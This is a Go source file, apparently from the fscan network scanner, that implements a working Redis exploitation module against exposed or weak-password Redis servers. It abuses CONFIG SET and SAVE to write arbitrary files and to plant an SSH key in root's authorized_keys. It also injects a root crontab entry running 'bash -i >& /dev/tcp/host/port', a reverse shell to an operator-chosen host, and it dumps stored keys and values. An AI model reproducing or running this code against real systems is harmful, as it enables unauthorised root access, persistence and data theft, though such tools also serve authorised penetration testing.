mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 重构插件注册架构采用现代工厂模式和自动发现机制 - 新增完整的插件元数据管理系统支持版本能力标签等信息 - 实现智能插件适配器提供向后兼容的桥接功能 - 建立MySQL Redis SSH三个标准插件作为新架构参考实现 - 优化插件扫描逻辑支持按端口按类型的智能查询和过滤 - 添加国际化支持和完善的文档体系 - 代码量减少67%维护成本大幅降低扩展性显著提升 新架构特点: - 零配置插件注册import即用 - 工厂模式延迟初始化和依赖注入 - 丰富元数据系统和能力声明 - 完全解耦的模块化设计 - 面向未来的可扩展架构 测试验证: MySQL和Redis插件功能完整包括弱密码检测未授权访问检测和自动利用攻击
459 lines
14 KiB
Go
459 lines
14 KiB
Go
package redis
|
||
|
||
import (
|
||
"bufio"
|
||
"context"
|
||
"fmt"
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/plugins/base"
|
||
"os"
|
||
"path/filepath"
|
||
"strings"
|
||
)
|
||
|
||
// RedisExploiter Redis利用器实现
|
||
type RedisExploiter struct {
|
||
*base.BaseExploiter
|
||
connector *RedisConnector
|
||
}
|
||
|
||
// NewRedisExploiter 创建Redis利用器
|
||
func NewRedisExploiter() *RedisExploiter {
|
||
exploiter := &RedisExploiter{
|
||
BaseExploiter: base.NewBaseExploiter("redis"),
|
||
connector: NewRedisConnector(),
|
||
}
|
||
|
||
// 添加利用方法
|
||
exploiter.setupExploitMethods()
|
||
|
||
return exploiter
|
||
}
|
||
|
||
// setupExploitMethods 设置利用方法
|
||
func (e *RedisExploiter) setupExploitMethods() {
|
||
// 1. 任意文件写入
|
||
fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "arbitrary_file_write").
|
||
WithDescription("利用Redis写入任意文件").
|
||
WithPriority(10).
|
||
WithConditions("has_write_config").
|
||
WithHandler(e.exploitArbitraryFileWrite).
|
||
Build()
|
||
e.AddExploitMethod(fileWriteMethod)
|
||
|
||
// 2. SSH密钥写入
|
||
sshKeyMethod := base.NewExploitMethod(base.ExploitFileWrite, "ssh_key_write").
|
||
WithDescription("写入SSH公钥到authorized_keys").
|
||
WithPriority(9).
|
||
WithConditions("has_ssh_key").
|
||
WithHandler(e.exploitSSHKeyWrite).
|
||
Build()
|
||
e.AddExploitMethod(sshKeyMethod)
|
||
|
||
// 3. Crontab定时任务
|
||
cronMethod := base.NewExploitMethod(base.ExploitCommandExec, "crontab_injection").
|
||
WithDescription("注入Crontab定时任务").
|
||
WithPriority(9).
|
||
WithConditions().
|
||
WithHandler(e.exploitCrontabInjection).
|
||
Build()
|
||
e.AddExploitMethod(cronMethod)
|
||
|
||
// 4. 数据提取
|
||
dataExtractionMethod := base.NewExploitMethod(base.ExploitDataExtraction, "data_extraction").
|
||
WithDescription("提取Redis中的数据").
|
||
WithPriority(7).
|
||
WithConditions().
|
||
WithHandler(e.exploitDataExtraction).
|
||
Build()
|
||
e.AddExploitMethod(dataExtractionMethod)
|
||
|
||
// 5. 信息收集
|
||
infoGatheringMethod := base.NewExploitMethod(base.ExploitDataExtraction, "info_gathering").
|
||
WithDescription("收集Redis服务器信息").
|
||
WithPriority(6).
|
||
WithConditions().
|
||
WithHandler(e.exploitInfoGathering).
|
||
Build()
|
||
e.AddExploitMethod(infoGatheringMethod)
|
||
}
|
||
|
||
// exploitArbitraryFileWrite 任意文件写入利用
|
||
func (e *RedisExploiter) exploitArbitraryFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
// 检查是否配置了文件写入参数
|
||
if common.RedisWritePath == "" || (common.RedisWriteContent == "" && common.RedisWriteFile == "") {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
|
||
fmt.Errorf("未配置文件写入参数")), nil
|
||
}
|
||
|
||
conn, err := e.connectToRedis(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
|
||
}
|
||
defer e.connector.Close(conn)
|
||
|
||
redisConn := conn.(*RedisConnection)
|
||
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "arbitrary_file_write")
|
||
|
||
// 备份原始配置
|
||
originalConfig := &RedisConfig{
|
||
DBFilename: redisConn.config.DBFilename,
|
||
Dir: redisConn.config.Dir,
|
||
}
|
||
defer e.connector.RestoreConfig(redisConn, originalConfig)
|
||
|
||
// 确定文件内容
|
||
var content string
|
||
if common.RedisWriteContent != "" {
|
||
content = common.RedisWriteContent
|
||
} else if common.RedisWriteFile != "" {
|
||
fileData, err := os.ReadFile(common.RedisWriteFile)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
|
||
fmt.Errorf("读取文件失败: %v", err)), nil
|
||
}
|
||
content = string(fileData)
|
||
}
|
||
|
||
// 执行文件写入
|
||
dirPath := filepath.Dir(common.RedisWritePath)
|
||
fileName := filepath.Base(common.RedisWritePath)
|
||
|
||
success, msg, err := e.writeFileToRedis(redisConn, dirPath, fileName, content)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
|
||
}
|
||
|
||
if !success {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
|
||
fmt.Errorf("写入失败: %s", msg)), nil
|
||
}
|
||
|
||
base.AddOutputToResult(result, fmt.Sprintf("成功写入文件: %s", common.RedisWritePath))
|
||
base.AddFileToResult(result, common.RedisWritePath)
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitSSHKeyWrite SSH密钥写入利用
|
||
func (e *RedisExploiter) exploitSSHKeyWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
if common.RedisFile == "" {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
|
||
fmt.Errorf("未指定SSH密钥文件")), nil
|
||
}
|
||
|
||
conn, err := e.connectToRedis(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
|
||
}
|
||
defer e.connector.Close(conn)
|
||
|
||
redisConn := conn.(*RedisConnection)
|
||
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "ssh_key_write")
|
||
|
||
// 备份原始配置
|
||
originalConfig := &RedisConfig{
|
||
DBFilename: redisConn.config.DBFilename,
|
||
Dir: redisConn.config.Dir,
|
||
}
|
||
defer e.connector.RestoreConfig(redisConn, originalConfig)
|
||
|
||
// 读取SSH密钥
|
||
keyData, err := e.readFirstNonEmptyLine(common.RedisFile)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
|
||
fmt.Errorf("读取SSH密钥失败: %v", err)), nil
|
||
}
|
||
|
||
// 写入SSH密钥
|
||
success, msg, err := e.writeSSHKey(redisConn, keyData)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
|
||
}
|
||
|
||
if !success {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
|
||
fmt.Errorf("写入失败: %s", msg)), nil
|
||
}
|
||
|
||
base.AddOutputToResult(result, "成功写入SSH密钥到 /root/.ssh/authorized_keys")
|
||
base.AddFileToResult(result, "/root/.ssh/authorized_keys")
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitCrontabInjection Crontab注入利用
|
||
func (e *RedisExploiter) exploitCrontabInjection(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
if common.RedisShell == "" {
|
||
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
|
||
fmt.Errorf("未指定反弹Shell地址")), nil
|
||
}
|
||
|
||
conn, err := e.connectToRedis(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
|
||
}
|
||
defer e.connector.Close(conn)
|
||
|
||
redisConn := conn.(*RedisConnection)
|
||
result := base.CreateSuccessExploitResult(base.ExploitCommandExec, "crontab_injection")
|
||
|
||
// 备份原始配置
|
||
originalConfig := &RedisConfig{
|
||
DBFilename: redisConn.config.DBFilename,
|
||
Dir: redisConn.config.Dir,
|
||
}
|
||
defer e.connector.RestoreConfig(redisConn, originalConfig)
|
||
|
||
// 写入Crontab任务
|
||
success, msg, err := e.writeCrontab(redisConn, common.RedisShell)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
|
||
}
|
||
|
||
if !success {
|
||
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
|
||
fmt.Errorf("写入失败: %s", msg)), nil
|
||
}
|
||
|
||
base.AddOutputToResult(result, fmt.Sprintf("成功注入Crontab任务,反弹Shell到: %s", common.RedisShell))
|
||
|
||
// 创建Shell信息
|
||
shellParts := strings.Split(common.RedisShell, ":")
|
||
if len(shellParts) == 2 {
|
||
result.Shell = &base.ShellInfo{
|
||
Type: "reverse",
|
||
Host: shellParts[0],
|
||
Port: 0, // 端口需要解析
|
||
}
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitDataExtraction 数据提取利用
|
||
func (e *RedisExploiter) exploitDataExtraction(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
conn, err := e.connectToRedis(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "data_extraction", err), nil
|
||
}
|
||
defer e.connector.Close(conn)
|
||
|
||
redisConn := conn.(*RedisConnection)
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "data_extraction")
|
||
|
||
// 获取所有键
|
||
keys, err := e.getAllKeys(redisConn)
|
||
if err == nil && len(keys) > 0 {
|
||
base.AddOutputToResult(result, fmt.Sprintf("发现 %d 个键: %s", len(keys), strings.Join(keys[:min(10, len(keys))], ", ")))
|
||
result.Extra["keys"] = keys
|
||
|
||
// 获取部分键值
|
||
for i, key := range keys {
|
||
if i >= 5 { // 限制只获取前5个键的值
|
||
break
|
||
}
|
||
value, err := e.getKeyValue(redisConn, key)
|
||
if err == nil && value != "" {
|
||
base.AddOutputToResult(result, fmt.Sprintf("键 %s = %s", key, value))
|
||
}
|
||
}
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitInfoGathering 信息收集利用
|
||
func (e *RedisExploiter) exploitInfoGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
conn, err := e.connectToRedis(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "info_gathering", err), nil
|
||
}
|
||
defer e.connector.Close(conn)
|
||
|
||
redisConn := conn.(*RedisConnection)
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "info_gathering")
|
||
|
||
// 获取Redis信息
|
||
infoResponse, err := e.connector.ExecuteCommand(redisConn, "INFO")
|
||
if err == nil {
|
||
lines := strings.Split(infoResponse, "\n")
|
||
for _, line := range lines {
|
||
if strings.Contains(line, "redis_version") ||
|
||
strings.Contains(line, "os") ||
|
||
strings.Contains(line, "arch_bits") {
|
||
base.AddOutputToResult(result, strings.TrimSpace(line))
|
||
}
|
||
}
|
||
}
|
||
|
||
// 获取配置信息
|
||
base.AddOutputToResult(result, fmt.Sprintf("数据库目录: %s", redisConn.config.Dir))
|
||
base.AddOutputToResult(result, fmt.Sprintf("数据库文件: %s", redisConn.config.DBFilename))
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// =============================================================================
|
||
// Redis操作辅助函数
|
||
// =============================================================================
|
||
|
||
// connectToRedis 连接到Redis
|
||
func (e *RedisExploiter) connectToRedis(ctx context.Context, info *common.HostInfo, creds *base.Credential) (interface{}, error) {
|
||
conn, err := e.connector.Connect(ctx, info)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
err = e.connector.Authenticate(ctx, conn, creds)
|
||
if err != nil {
|
||
e.connector.Close(conn)
|
||
return nil, err
|
||
}
|
||
|
||
return conn, nil
|
||
}
|
||
|
||
// writeFileToRedis 通过Redis写入文件
|
||
func (e *RedisExploiter) writeFileToRedis(conn *RedisConnection, dirPath, fileName, content string) (bool, string, error) {
|
||
// 设置目录
|
||
if err := e.connector.SetConfig(conn, "dir", dirPath); err != nil {
|
||
return false, "设置目录失败", err
|
||
}
|
||
|
||
// 设置文件名
|
||
if err := e.connector.SetConfig(conn, "dbfilename", fileName); err != nil {
|
||
return false, "设置文件名失败", err
|
||
}
|
||
|
||
// 写入内容
|
||
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
|
||
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
|
||
|
||
if err := e.connector.SetKey(conn, "x", safeContent); err != nil {
|
||
return false, "设置键值失败", err
|
||
}
|
||
|
||
// 保存
|
||
if err := e.connector.Save(conn); err != nil {
|
||
return false, "保存失败", err
|
||
}
|
||
|
||
return true, "成功", nil
|
||
}
|
||
|
||
// writeSSHKey 写入SSH密钥
|
||
func (e *RedisExploiter) writeSSHKey(conn *RedisConnection, keyData string) (bool, string, error) {
|
||
// 设置SSH目录
|
||
if err := e.connector.SetConfig(conn, "dir", "/root/.ssh/"); err != nil {
|
||
return false, "设置SSH目录失败", err
|
||
}
|
||
|
||
// 设置文件名
|
||
if err := e.connector.SetConfig(conn, "dbfilename", "authorized_keys"); err != nil {
|
||
return false, "设置文件名失败", err
|
||
}
|
||
|
||
// 写入密钥(前后添加换行符避免格式问题)
|
||
keyContent := fmt.Sprintf("\\n\\n\\n%s\\n\\n\\n", keyData)
|
||
if err := e.connector.SetKey(conn, "x", keyContent); err != nil {
|
||
return false, "设置键值失败", err
|
||
}
|
||
|
||
// 保存
|
||
if err := e.connector.Save(conn); err != nil {
|
||
return false, "保存失败", err
|
||
}
|
||
|
||
return true, "成功", nil
|
||
}
|
||
|
||
// writeCrontab 写入Crontab任务
|
||
func (e *RedisExploiter) writeCrontab(conn *RedisConnection, shellTarget string) (bool, string, error) {
|
||
// 解析Shell目标
|
||
parts := strings.Split(shellTarget, ":")
|
||
if len(parts) != 2 {
|
||
return false, "Shell目标格式错误", fmt.Errorf("格式应为 host:port")
|
||
}
|
||
|
||
shellHost, shellPort := parts[0], parts[1]
|
||
|
||
// 先尝试Ubuntu路径
|
||
if err := e.connector.SetConfig(conn, "dir", "/var/spool/cron/crontabs/"); err != nil {
|
||
// 尝试CentOS路径
|
||
if err2 := e.connector.SetConfig(conn, "dir", "/var/spool/cron/"); err2 != nil {
|
||
return false, "设置Cron目录失败", err2
|
||
}
|
||
}
|
||
|
||
// 设置文件名
|
||
if err := e.connector.SetConfig(conn, "dbfilename", "root"); err != nil {
|
||
return false, "设置文件名失败", err
|
||
}
|
||
|
||
// 写入Crontab任务
|
||
cronTask := fmt.Sprintf("\\n* * * * * bash -i >& /dev/tcp/%s/%s 0>&1\\n", shellHost, shellPort)
|
||
if err := e.connector.SetKey(conn, "xx", cronTask); err != nil {
|
||
return false, "设置键值失败", err
|
||
}
|
||
|
||
// 保存
|
||
if err := e.connector.Save(conn); err != nil {
|
||
return false, "保存失败", err
|
||
}
|
||
|
||
return true, "成功", nil
|
||
}
|
||
|
||
// readFirstNonEmptyLine 读取文件的第一行非空内容
|
||
func (e *RedisExploiter) readFirstNonEmptyLine(filename string) (string, error) {
|
||
file, err := os.Open(filename)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
defer file.Close()
|
||
|
||
scanner := bufio.NewScanner(file)
|
||
for scanner.Scan() {
|
||
line := strings.TrimSpace(scanner.Text())
|
||
if line != "" {
|
||
return line, nil
|
||
}
|
||
}
|
||
|
||
return "", fmt.Errorf("文件为空或无内容")
|
||
}
|
||
|
||
// getAllKeys 获取所有Redis键
|
||
func (e *RedisExploiter) getAllKeys(conn *RedisConnection) ([]string, error) {
|
||
response, err := e.connector.ExecuteCommand(conn, "KEYS *")
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
// 简单解析键列表(实际应该按Redis协议解析)
|
||
lines := strings.Split(response, "\n")
|
||
var keys []string
|
||
for _, line := range lines {
|
||
line = strings.TrimSpace(line)
|
||
if line != "" && !strings.HasPrefix(line, "*") && !strings.HasPrefix(line, "$") {
|
||
keys = append(keys, line)
|
||
}
|
||
}
|
||
|
||
return keys, nil
|
||
}
|
||
|
||
// getKeyValue 获取键值
|
||
func (e *RedisExploiter) getKeyValue(conn *RedisConnection, key string) (string, error) {
|
||
command := fmt.Sprintf("GET %s", key)
|
||
return e.connector.ExecuteCommand(conn, command)
|
||
}
|
||
|
||
// min 返回两个整数中的较小值
|
||
func min(a, b int) int {
|
||
if a < b {
|
||
return a
|
||
}
|
||
return b
|
||
} |